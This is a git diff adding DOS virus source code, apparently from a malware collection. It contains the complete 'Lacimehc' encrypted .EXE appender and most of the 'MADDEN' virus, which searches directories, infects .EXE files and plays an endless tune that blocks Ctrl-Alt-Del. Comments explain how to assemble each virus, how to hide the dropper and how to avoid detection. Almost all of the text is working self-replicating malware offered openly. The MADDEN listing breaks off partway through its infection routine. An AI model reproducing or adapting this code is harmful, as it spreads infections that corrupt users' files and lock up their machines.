+} + + +int find_first( char *fn ) { + _DX = (int) fn; /* Point DX to the file name. */ + _CX = 0xff; /* Search for all attributes. */ + _AH = 0x4e; /* 'Find first' DOS service. */ + asm int 21H; /* Go, DOS, go. */ + return _AX; /* Return possible error code. */ +} + + +int find_next( void ) { + _AH = 0x4f; /* 'Find next' function. */ + asm int 21H; /* Call DOS. */ + return _AX; /* Return any error code. */ +} + + +void open_handle( char *fn ) { + _DX = (int) fn; /* Point DX to the filename. */ + _AL = 0x02; /* Always open for both read & write. */ + _AH = 0x3d; /* "Open handle" service. */ + asm int 21H; /* Call DOS. */ + handle = _AX; /* Assume handle returned OK. */ + return; +} + + +void close_handle( void ) { + _BX = handle; /* Load BX register w/current file handle. */ + _AH = 0x3e; /* Set up and call DOS service. */ + asm int 21H; + return; +} + \ No newline at end of file diff --git a/l/lacimehc.asm b/l/lacimehc.asm new file mode 100755 index 0000000..9469289 --- /dev/null +++ b/l/lacimehc.asm @@ -0,0 +1,260 @@ +; ------------------------------------------------------------------------- ; +; Lacimehc v1.0 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: `-------------------| Started: 13/06/98 | Finished: 15/06/98 ; +; `-------------------^------------------- ; +; v1.0 - first attempt at .EXE infection, probably full of | Size: 597 ; +; - errors and unoptimized stuff, but I will fix all `---------- ; +; - that when I have a better understanding of what the ; +; - hell is actually going on, it's complicated! hehe ; +; v1.1 - added encryption to this exe appender! XOR,ROR,NEG ; +; ------------------------------------------------------------------------- ; +; ---------------> You Cannot Sedate All The Things You Hate <------------- ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm lacimehc.asm ; +; to link :::::] tlink /t lacimehc.obj ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment 'code' + assume cs:code,ds:code ; assign CS and DS to code + org 100h ; original is a .com file + +blank: db 0e9h,0,0 ; jump to beginning +start: call delta ; push IP on to the stack +delta: pop bp ; pop it into BP + sub bp,offset delta ; get the delta offset + + push ds es ; save original DS and ES + push cs cs ; push CS twice + pop ds es ; CS = DS = ES now + +decr: jmp once ; jump to once (overwritten) + lea si,[bp+encd] ; points to encrypted area + mov di,si ; move the value into DI + call encr ; call our decryption loop + jmp encd ; jump to main virus + +encr: lodsb ; load a byte into al + ror al,4 ; encryptin 1 + neg al ; encryptin 2 + xor al,byte ptr [bp+key] ; encryptin 3 -final- + neg al ; unencrypt 2 + ror al,4 ; unencrypt 1 + stosb ; return the byte + loop encr ; do this for all bytes + ret ; return from call + key db 0 ; our key value + +encd: mov ax,word ptr [bp+exe_cs] ; exe_cs and _cs + mov word ptr [bp+_cs],ax ; are now equal + + push [bp+exe_cs] ; save CS + push [bp+exe_ip] ; save IP + push [bp+exe_ss] ; save SS + push [bp+exe_sp] ; save SP + + mov ah,1ah ; set new DTA location + lea dx,[bp+offset dta] ; new DTA goes here + int 21h ; DTA is now moved + + mov ah,4eh ; find first file + lea dx,[bp+exefile] ; with extension .exe + mov cx,7 ; possible attributes + +findit: int 21h ; find a .exe + jnc cont ; found one? continue on + jmp exit ; return control to host + +cont: lea dx,[bp+dta+1eh] ; get file name info + mov ax,4300h ; get file attributes + int 21h ; get them now + push cx ; save the attributes + push dx ; and the file name info + + mov ax,4301h ; set file attributes + xor cx,cx ; to none at all + int 21h ; infect even read only now + + mov ax,3d02h ; open the file + int 21h ; file is opened + xchg bx,ax ; move file handle in BX + jnc cont2 ; no problems? continue on + jmp abort ; whoops, find another one + +cont2: mov ax,5700h ; get the time / date stamps + int 21h ; we have the stamps + push cx ; save the time + push dx ; save the date + + mov ah,3fh ; read from file + mov cx,1ch ; read the EXE header + lea dx,[bp+offset header] ; store it into 'header' + int 21h ; do the int 21 this time + + cmp word ptr [bp+header],'ZM' ; check for the initials + je cont3 ; its good, infect it + cmp word ptr [bp+header],'MZ' ; check for the initials + je cont3 ; its good, infect it + jmp next ; find next file + +cont3: cmp word ptr [bp+header+10h],'JK' ; check for our ID bytes + jne cont4 ; not done before, infect it + jmp next ; infected, get another one + +cont4: mov ax,word ptr [bp+header+18h] ; load AX with offset 40h + cmp ax,40h ; is this a WinEXE file? + jnae cont5 ; nope, continue on + jmp next ; yup it is, get another one + +cont5: cmp word ptr [bp+header+1ah],0 ; check for internal overlays + je infect ; nope, infect this file now + jmp next ; there are, get another one + +infect: push bx ; save file handle + mov ax,word ptr [bp+header+0eh] ; get original SS into AX + mov word ptr [bp+exe_ss],ax ; save it into exe_ss + mov ax,word ptr [bp+header+10h] ; get original SP into AX + mov word ptr [bp+exe_sp],ax ; save it into exe_sp + mov ax,word ptr [bp+header+14h] ; get original IP into AX + mov word ptr [bp+exe_ip],ax ; save it into exe_ip + mov ax,word ptr [bp+header+16h] ; get original CS into ax + mov word ptr [bp+exe_cs],ax ; save it into exe_cs + + mov ax,4202h ; scan to end of file + xor cx,cx ; xor cx to 0 + cwd ; likewize for dx + int 21h ; DX:AX holds file size now + push ax dx ; save file size for awhile + + mov bx,word ptr [bp+header+8h] ; header size in paragraphs + mov cl,4 ; load CL with 4 + shl bx,cl ; multiply bx by 16 (4x4=16) + sub ax,bx ; subtract file size + sbb dx,0 ; if CF is set subtract 1 + mov cx,10h ; cx = 10h = 16 + div cx ; undue our mutiplying x16 + + mov word ptr [bp+header+14h],dx ; put the offset in + mov word ptr [bp+header+16h],ax ; segment offset of code + mov word ptr [bp+header+0eh],ax ; segment offset of stack + mov word ptr [bp+header+10h],'JK' ; put our ID in + + pop dx ax bx ; restore file size / handle + + add ax,finished-start ; add our virus size + adc dx,0 ; if CF add 1, if not, 0 + mov cx,512 ; convert to pages + div cx ; by dividing by 512 + inc ax ; round up + mov word ptr [bp+header+4],ax ; put the new PageCnt up + mov word ptr [bp+header+2],dx ; put the new PartPag up + + mov ax,4202h ; scan to end of file + xor cx,cx ; xor cx to 0 + cwd ; likewize for dx + int 21h ; DX:AX holds file size now + + in al,40h ; get a random value + mov byte ptr [bp+key],al ; save as our key + + mov ah,40h ; write to file + lea dx,[bp+start] ; starting here + mov cx,encd-start ; # of bytes to write + int 21h ; write them now + + lea di,[bp+finished] ; where to put bytes + push di ; save value + lea si,[bp+encd] ; where to get bytes + mov cx,finished-encd ; # of bytes to do + push cx ; save value + call encr ; encrypt the bytes + + mov ah,40h ; write to file + pop cx ; restore first value + pop dx ; restore second value + int 21h ; write them to file + + mov ax,4200h ; seek to start of file + xor cx,cx ; cx to 0 + cwd ; likewize for dx + int 21h ; at start of file now + + mov ah,40h ; write to file + lea dx,[bp+header] ; write the new header + mov cx,1ch ; # of bytes to write + int 21h ; write it now + +next: mov ax,5701h ; set time / date stamps + pop dx ; restore the date + pop cx ; restore the time + int 21h ; time / date are restored + + mov ah,3eh ; close the file + int 21h ; close it up now + +abort: mov ax,4301h ; set file attributes + pop dx ; for this file name + pop cx ; with these attributes + int 21h ; attributes are restored + + mov ah,4fh ; find next file + jmp findit ; start all over again + +exit: pop [bp+exe_sp] ; restore SP + pop [bp+exe_ss] ; restore SS + pop [bp+exe_ip] ; restore IP + pop [bp+exe_cs] ; restore CS + + mov ah,1ah ; restore the DTA + mov dx,80h ; new address for DTA + int 21h ; back to original location + + pop es ds ; pop ES and DS from stack + mov ax,es ; ax points to PSP + add ax,10h ; skip over the PSP + add word ptr cs:[bp+_cs],ax ; restoring CS + mov bx,word ptr cs:[bp+exe_ip] ; move the IP into bx + mov word ptr cs:[bp+_ip],bx ; save the IP into _ip + + cli ; clear interrupt flag + mov sp,word ptr cs:[bp+exe_sp] ; adjust ExeSP + add ax,word ptr cs:[bp+exe_ss] ; restore the stack + mov ss,ax ; adjust ReloSS + sti ; set interrupt flag + + db 0eah ; jmp far ptr cs:ip + +; ---------------------------( The Data Area )----------------------------- ; +; ------------------------------------------------------------------------- ; + + _ip dw 0 ; used as offset for db 0eah + _cs dw 0 ; used as offset for db 0eah + exe_cs dw 0fff0h ; original CS + exe_ip dw 0 ; original IP + exe_sp dw 0 ; original SP + exe_ss dw 0 ; original SS + exefile db "*.exe",0 ; infecting .exe files + header db 1ch dup (?) ; space for the header + dta db 43 dup (?) ; space for the new dta + finished: ; end of the virus + +; ---------------------( Not Saved / Not Encrypted )----------------------- ; +; ------------------------------------------------------------------------- ; + +once: lea si,[bp+new] ; bytes to move + lea di,[bp+decr] ; to be moved here + movsw ; move two bytes + movsb ; move one byte + jmp encd ; jump to main body +new: mov cx,finished-encd ; this replaces the jump + +; -----------------------------( The End )--------------------------------- ; +; ------------------------------------------------------------------------- ; + + code ends ; end code segment + end blank ; end / where to start + +; ------------------------------------------------------------------------- ; +; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; +; ------------------------------------------------------------------------- ; + diff --git a/m/MADDEN.ASM b/m/MADDEN.ASM new file mode 100755 index 0000000..8036909 --- /dev/null +++ b/m/MADDEN.ASM @@ -0,0 +1,805 @@ +;The MADDEN virus is an EXE file infector which can jump from directory to +;directory. It attaches itself to the end of a file and +;modifies the EXE file header so that it gets control first, before the host +;program. When it is done doing its job, it passes control to the host program, +;so that the host executes without a hint that the virus is there. + + + .SEQ ;segments must appear in sequential order + ;to simulate conditions in actual active virus + + +;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together + +;HOSTSEG program code segment. The virus gains control before this routine and +;attaches itself to another EXE file. As such, the host program for this +;installer simply tries to delete itself off of disk and terminates. That is +;worthwhile if you want to infect a system with the virus without getting +;caught. Just execute the program that infects, and it disappears without a +;trace. You might want to name the program something more innocuous, though. +;MADDEN also locks the pc into a 'maddening' toon when it runs out +;of files to infect. (MADDEN can be assembled to an .obj file under a86, +;then linked to the 'infected' .exe form.) + +HOSTSEG SEGMENT BYTE + ASSUME CS:HOSTSEG,SS:HSTACK + +PGMSTR DB 'MADDEN.EXE',0 + +HOST: + mov ax,cs ;we want DS=CS here + mov ds,ax + mov dx,OFFSET PGMSTR + mov ah,41H + int 21H ;delete this exe file + mov ah,4CH + mov al,0 + int 21H ;terminate normally +HOSTSEG ENDS + + +;Host program stack segment + +HSTACK SEGMENT PARA STACK + db 100H dup (?) ;100 bytes long +HSTACK ENDS + +;------------------------------------------------------------------------ +;This is the virus itself + +STACKSIZE EQU 100H ;size of stack for the virus +NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table + +;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together + +;MADDEN Virus code segment. This gains control first, before the host. As this +;ASM file is layed out, this program will look exactly like a simple program +;that was infected by the virus. + +VSEG SEGMENT PARA + ASSUME CS:VSEG,DS:VSEG,SS:VSTACK + +;data storage area comes before any code +VIRUSID DW 0C8AAH ;identifies virus +OLDDTA DD 0 ;old DTA segment and offset +DTA1 DB 2BH dup (?) ;new disk transfer area +DTA2 DB 56H dup (?) ;dta for directory finds (2 deep) +EXE_HDR DB 1CH dup (?) ;buffer for EXE file header +EXEFILE DB '\*.EXE',0 ;search string for an exe file +ALLFILE DB '\*.*',0 ;search string for any file +USEFILE DB 78 dup (?) ;area to put valid file path +LEVEL DB 0 ;depth to search directories for a file +HANDLE DW 0 ;file handle +FATTR DB 0 ;old file attribute storage area +FTIME DW 0 ;old file time stamp storage area +FDATE DW 0 ;old file date stamp storage area +FSIZE DD 0 ;file size storage area +VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there +VCODE DB 1 ;identifies this version +MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 5119,0006, 5423,0006, 3043,0006, + dw 6087,0020, + + dw 6087,0006, + dw 7239,0006, 3619,0006, 4831,0006, 6087,0006 + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + dw 6087,0006, 4063,0006, 3043,0006, 5119,0006 + dw 4831,0006, 6087,0006, 7239,0006, 8126,0006 + dw 6087,0020, + + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 5119,0006, 5423,0006, 3043,0006, + dw 6087,0020, + + dw 6087,0006, + dw 7239,0006, 3619,0006, 4831,0006, 6087,0006 + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + dw 6087,0006, 4063,0006, 3043,0006, 5119,0006 + dw 4831,0006, 6087,0006, 7239,0006, 8126,0006 + dw 6087,0020, + + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + dw 3043,0006, 3619,0006, 4831,0006, 6087,0006 + dw 3043,0010, + + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 5119,0006, 5423,0006, 3043,0006, + dw 6087,0020, + + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + dw 3043,0006, 3619,0006, 4831,0006, 6087,0006 + dw 3043,0010, + + dw 6087,0006, + dw 7239,0006, 3619,0006, 4831,0006, 6087,0006 + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + dw 6087,0006, 4063,0006, 3043,0006, 5119,0006 + dw 4831,0006, 6087,0006, 7239,0006, 8126,0006 + dw 6087,0020, + + dw 0ffffh +;-------------------------------------------------------------------------- +;MADDEN virus main routine starts here +VIRUS: + push ax ;save startup info in ax + mov ax,cs + mov ds,ax ;set up DS=CS for the virus + mov ax,es ;get PSP Seg + mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it + call SHOULDRUN ;run only when certain conditions met signalled by z set + jnz REL1 ;conditions aren't met, go execute host program + call SETSR ;modify SHOULDRUN procedure to activate conditions + call NEW_DTA ;set up a new DTA location + call FIND_FILE ;get an exe file to attack + jnz TOON ;returned nz - no valid files left, play maddening toon! + call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode + call INFECT ;move program code to file we found to attack + call REST_ATTRIBUTE ;restore the original file attributes and close the file +FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup + pop ax ;restore startup value of ax +REL1: ;relocatable marker for host stack segment + mov bx,HSTACK ;set up host program stack segment (ax=segment) + cli ;interrupts off while changing stack + mov ss,bx +REL1A: ;marker for host stack pointer + mov sp,OFFSET HSTACK + mov es,WORD PTR [OLDDTA+2] ;set up ES correctly + mov ds,WORD PTR [OLDDTA+2] ;and DS + sti ;interrupts back on +REL2: ;relocatable marker for host code segment + jmp FAR PTR HOST ;begin execution of host program + +;-------------------------------------------------------------------------- +;First Level - Find a file which passes FILE_OK +; +;This routine does a complex directory search to find an EXE file in the +;current directory, one of its subdirectories, or the root directory or one +;of its subdirectories, to find a file for which FILE_OK returns with C reset. +;If you want to change the depth of the search, make sure to allocate enough +;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work, +;since the recursive FINDBR uses a different DTA area for the search (see DOS +;functions 4EH and 4FH) on each level. +; +FIND_FILE: + mov al,'\' ;set up current directory path in USEFILE + mov BYTE PTR [USEFILE],al + mov si,OFFSET USEFILE+1 + xor dl,dl + mov ah,47H + int 21H ;get current dir, USEFILE= \dir + cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root + jnz FF2 ;not the root + xor al,al ;make correction for root directory, + mov BYTE PTR [USEFILE],al ;by setting USEFILE = '' +FF2: mov al,2 + mov [LEVEL],al ;search 2 subdirs deep + call FINDBR ;attempt to locate a valid file + jz FF3 ;found one - exit + xor al,al ;nope - try the root directory + mov BYTE PTR [USEFILE],al ;by setting USEFILE= '' + inc al ;al=1 + mov [LEVEL],al ;search one subdir deep + call FINDBR ;attempt to find file +FF3: + ret ;exit with z flag set by FINDBR to indicate success/failure + +;*************************************************************************** +; This routine enables MADDEN virus to compell the pc to play a +;'maddening' toon when it can't find a file to infect +;************************************************************************** +TOON: + cli ;interrupts off + mov al,10110110xb ;the magic number + out 43h,al ;send it + lea si,MUZIK ;point (si) to our note table +TOON2: cld ;must increment forward + lodsw ;load word into ax and increment (si) + cmp ax,0ffffh ;is it ffff - if so end of table + jz GO_MUZIK2 ;so, time to jump into endless loop + out 42h,al ;send LSB first + mov al,ah ;place MSB in al + out 42h,al ;send it next + in al,61h ;get value to turn on speaker + or al,00000011xb ;OR the gotten value + out 61h,al ;now we turn on speaker + lodsw ;load the repeat loop count into (ax) +LOOP6: mov cx,8000 ;delay count +LOOP7: loop LOOP7 ;do the delay + dec ax ;decrement repeat count + jnz loop6 ;if not = 0 loop back + in al,61h ;all done + and al,11111100xb ;number turns speaker off + out 61h,al ;send it + jmp short TOON2 ;now go do next note +GO_MUZIK2: ;our loop point + sti ;enable interrupts + jmp TOON ;jump back to beginning - this code + ; has the additional advantage of + ;locking out CTRL-ALT-DEL reboot. + ;The user must do a hard reset to recover. +;-------------------------------------------------------------------------- +;SEARCH FUNCTION +;--------------------------------------------------------------------------- +;Second Level - Find in a branch +; +;This function searches the directory specified in USEFILE for EXE files. +;after searching the specified directory, it searches subdirectories to the +;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this +;routine exits with Z set and leaves the file and path in USEFILE +; +FINDBR: + call FINDEXE ;search current dir for EXE first + jnc FBE3 ;found it - exit + cmp [LEVEL],0 ;no - do we want to go another directory deeper? + jz FBE1 ;no - exit + dec [LEVEL] ;yes - decrement LEVEL and continue + mov di,OFFSET USEFILE ;'\curr_dir' is here + mov si,OFFSET ALLFILE ;'\*.*' is here + call CONCAT ;get '\curr_dir\*.*' in USEFILE + inc di + push di ;store pointer to first * + call FIRSTDIR ;get first subdirectory + jnz FBE ;couldn't find it, so quit +FB1: ;otherwise, check it out + pop di ;strip \*.* off of USEFILE + xor al,al + stosb + mov di,OFFSET USEFILE + mov bx,OFFSET DTA2+1EH + mov al,[LEVEL] + mov dl,2BH ;compute correct DTA location for subdir name + mul dl ;which depends on the depth we're at in the search + add bx,ax ;bx points to directory name + mov si,bx + call CONCAT ;'\curr_dir\sub_dir' put in USEFILE + push di ;save position of first letter in sub_dir name + call FINDBR ;scan the subdirectory and its subdirectories (recursive) + jz FBE2 ;if successful, exit + call NEXTDIR ;get next subdirectory in this directory + jz FB1 ;go check it if search successful +FBE: ;else exit, NZ set, cleaned up + inc [LEVEL] ;increment the level counter before exit + pop di ;strip any path or file spec off of original + xor al,al ;directory path + stosb +FBE1: mov al,1 ;return with NZ set + or al,al + ret + +FBE2: pop di ;successful exit, pull this off the stack +FBE3: xor al,al ;and set Z + ret ;exit + +;-------------------------------------------------------------------------- +;Third Level - Part A - Find an EXE file +; +;This function searches the path in USEFILE for an EXE file which passes +;the test FILE_OK. This routine will return the full path of the EXE file +;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return +;with the c flag set. It will search a whole directory before giving up. +; +FINDEXE: + mov dx,OFFSET DTA1 ;set new DTA for EXE search + mov ah,1AH + int 21H + mov di,OFFSET USEFILE + mov si,OFFSET EXEFILE + call CONCAT ;set up USEFILE with '\dir\*.EXE' + push di ;save position of '\' before '*.EXE' + mov dx,OFFSET USEFILE + mov cx,3FH ;search first for any file + mov ah,4EH + int 21H +NEXTEXE: + or al,al ;is DOS return OK? + jnz FEC ;no - quit with C set + pop di + inc di + stosb ;truncate '\dir\*.EXE' to '\dir\' + mov di,OFFSET USEFILE + mov si,OFFSET DTA1+1EH + call CONCAT ;setup file name '\dir\filename.exe' + dec di + push di + call FILE_OK ;yes - is this a good file to use? + jnc FENC ;yes - valid file found - exit with c reset + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTEXE ;and go test it for validity + +FEC: ;no valid file found, return with C set + pop di + mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir + stc + ret +FENC: ;valid file found, return with NC + pop di + ret + + +;-------------------------------------------------------------------------- +;Third Level - Part B - Find a subdirectory +; +;This function searches the file path in USEFILE for subdirectories, excluding +;the subdirectory header entries. If one is found, it returns with Z set, and +;if not, it returns with NZ set. +;There are two entry points here, FIRSTDIR, which does the search first, and +;NEXTDIR, which does the search next. +; +FIRSTDIR: + call GET_DTA ;get proper DTA address in dx (calculated from LEVEL) + push dx ;save it + mov ah,1AH ;set DTA + int 21H + mov dx,OFFSET USEFILE + mov cx,10H ;search for a directory + mov ah,4EH ;do search first function + int 21H +NEXTD1: + pop bx ;get pointer to search table (DTA) + or al,al ;successful search? + jnz NEXTD3 ;no, quit with NZ set + test BYTE PTR [bx+15H],10H ;is this a directory? + jz NEXTDIR ;no, find another + cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header? + jne NEXTD2 ;no - valid directory, exit, setting Z flag + ;else it was dir header entry, so fall through to next +NEXTDIR: ;second entry point for search next + call GET_DTA ;get proper DTA address again - may not be set up + push dx + mov ah,1AH ;set DTA + int 21H + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTD1 ;and loop to check the validity of the return + +NEXTD2: + xor al,al ;successful exit, set Z flag +NEXTD3: + ret ;exit routine + +;-------------------------------------------------------------------------- +;Return the DTA address associated to LEVEL in dx. This is simply given by +;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record +;in its own DTA, since a search at a lower level occurs in the middle of the +;higher level search, and we don't want the higher level being ruined by +;corrupted data. +; +GET_DTA: + mov dx,OFFSET DTA2 + mov al,2BH + mul [LEVEL] + add dx,ax ;return with dx= proper dta offset + ret + +;-------------------------------------------------------------------------- +;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz +;string at ES:DI. Return ES:DI pointing to the end of the first string in the +;destination (or the first character of the second string, after moved). +; +CONCAT: + mov al,byte ptr es:[di] ;find the end of string 1 + inc di + or al,al + jnz CONCAT + dec di ;di points to the null at the end + push di ;save it to return to the caller +CONCAT2: + cld + lodsb ;move second string to end of first + stosb + or al,al + jnz CONCAT2 + pop di ;and restore di to point to end of string 1 + ret + + +;-------------------------------------------------------------------------- +;Function to determine whether the EXE file specified in USEFILE is useable. +;if so return nc, else return c +;What makes an EXE file useable?: +; a) The signature field in the EXE header must be 'MZ'. (These +; are the first two bytes in the file.) +; b) The Overlay Number field in the EXE header must be zero. +; c) There must be room in the relocatable table for NUMRELS +; more relocatables without enlarging it. +; d) The word VIRUSID must not appear in the 2 bytes just before +; the initial CS:0000 of the test file. If it does, the virus +; is probably already in that file, so we skip it. +; +FILE_OK: + call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR + jc OK_END ;error in reading the file, so quit + call CHECK_SIG_OVERLAY ;is the overlay number zero? + jc OK_END ;no - exit with c set + call REL_ROOM ;is there room in the relocatable table? + jc OK_END ;no - exit + call IS_ID_THERE ;is id at CS:0000? +OK_END: ret ;return with c flag set properly + +;-------------------------------------------------------------------------- +;Returns c if signature in the EXE header is anything but 'MZ' or the overlay +;number is anything but zero. +CHECK_SIG_OVERLAY: + mov al,'M' ;check the signature first + mov ah,'Z' + cmp ax,WORD PTR [EXE_HDR] + jz CSO_1 ;jump if OK + stc ;else set carry and exit + ret +CSO_1: xor ax,ax + sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0 + ret ;c is set if it's anything but 0 + +;-------------------------------------------------------------------------- +;This function reads the 28 byte EXE file header for the file named in USEFILE. +;It puts the header in EXE_HDR, and returns c set if unsuccessful. +; +GET_EXE_HEADER: + mov dx,OFFSET USEFILE + mov ax,3D02H ;r/w access open file + int 21H + jc RE_RET ;error opening - C set - quit without closing + mov [HANDLE],ax ;else save file handle + mov bx,ax ;handle to bx + mov cx,1CH ;read 28 byte EXE file header + mov dx,OFFSET EXE_HDR ;into this buffer + mov ah,3FH + int 21H +RE_RET: ret ;return with c set properly + +;-------------------------------------------------------------------------- +;This function determines if there are at least NUMRELS openings in the +;current relocatable table in USEFILE. If there are, it returns with +;carry reset, otherwise it returns with carry set. The computation +;this routine does is to compare whether +; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table +;is >= than 4 * NUMRELS. If it is, then there is enough room +; +REL_ROOM: + mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table + cmp ax,4*NUMRELS ;enough room to put relocatables in? +RR_RET: ret ;exit with carry set properly + + +;-------------------------------------------------------------------------- +;This function determines whether the word at the initial CS:0000 in USEFILE +;is the same as VIRUSID in this program. If it is, it returns c set, otherwise +;it returns c reset. +; +IS_ID_THERE: + mov ax,WORD PTR [EXE_HDR+22] ;Initial CS + add ax,WORD PTR [EXE_HDR+8] ;Header size + mov dx,16 + mul dx + mov cx,dx + mov dx,ax ;cxdx = position to look for VIRUSID in file + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H + mov ah,3FH + mov bx,[HANDLE] + mov dx,OFFSET VIDC + mov cx,2 ;read 2 bytes into VIDC + int 21H + jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file + mov ax,[VIDC] + cmp ax,[VIRUSID] ;is it the VIRUSID? + clc + jnz II_RET ;if not, then virus is not already in this file + stc ;else it is probably there already +II_RET: ret + + +;-------------------------------------------------------------------------- +;This routine makes sure file end is at paragraph boundary, so the virus +;can be attached with a valid CS. Assumes file pointer is at end of file. +SETBDY: + mov al,BYTE PTR [FSIZE] + and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs) + jz SB_E ;all set - exit + mov cx,10H ;no - write any old bytes to even it up + sub cl,al ;number of bytes to write in cx + mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there) + add WORD PTR [FSIZE],cx ;update FSIZE + adc WORD PTR [FSIZE+2],0 + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H +SB_E: ret + +;-------------------------------------------------------------------------- +;This routine moves the virus (this program) to the end of the EXE file +;Basically, it just copies everything here to there, and then goes and +;adjusts the EXE file header and two relocatables in the program, so that +;it will work in the new environment. It also makes sure the virus starts +;on a paragraph boundary, and adds how many bytes are necessary to do that. +; +INFECT: + mov cx,WORD PTR [FSIZE+2] + mov dx,WORD PTR [FSIZE] + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H ;go to end of file + call SETBDY ;lengthen to a paragraph boundary if necessary + mov cx,OFFSET FINAL ;last byte of code + xor dx,dx ;first byte of code, DS:DX + mov bx,[HANDLE] ;move virus code to end of file being attacked with + mov ah,40H ;DOS write function + int 21H + mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file + inc bx + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx is that number + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to 1st relocatable + int 21H + mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program + mov bx,[HANDLE] ;from the EXE header + mov cx,2 + mov ah,40H ;and write it to relocatable REL1+1 + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1A ;put in correct old SP from EXE header + inc bx ;at FSIZE+REL1A+1 + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL1A+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to place to write SP to + int 21H + mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program + mov bx,[HANDLE] ;from EXE header + mov cx,2 + mov ah,40H ;and write it where it belongs + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL2 ;put in correct old CS:IP in program + add bx,1 ;at FSIZE+REL2+1 on disk + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL2+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer relavtive to start of file + int 21H + mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header + mov bx,[HANDLE] + mov cx,4 + mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 + int 21H + ;done writing relocatable vectors + ;so now adjust the EXE header values + xor cx,cx + xor dx,dx + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to start of file + int 21H + mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS) + mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs) + shr ax,cl + mov bx,WORD PTR [FSIZE+2] + and bl,0FH + mov cl,4 + shl bl,cl + add ah,bl + sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) + mov WORD PTR [EXE_HDR+22],ax;and save as initial CS + mov bx,OFFSET FINAL ;compute new initial SS + add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16) + mov cl,4 + shr bx,cl + add ax,bx + mov WORD PTR [EXE_HDR+14],ax ;and save it + mov ax,OFFSET VIRUS ;get initial IP + mov WORD PTR [EXE_HDR+20],ax ;and save it + mov ax,STACKSIZE ;get initial SP + mov WORD PTR [EXE_HDR+16],ax ;and save it + mov dx,WORD PTR [FSIZE+2] + mov ax,WORD PTR [FSIZE] ;calculate new file size + mov bx,OFFSET FINAL + add ax,bx + xor bx,bx + adc dx,bx ;put it in 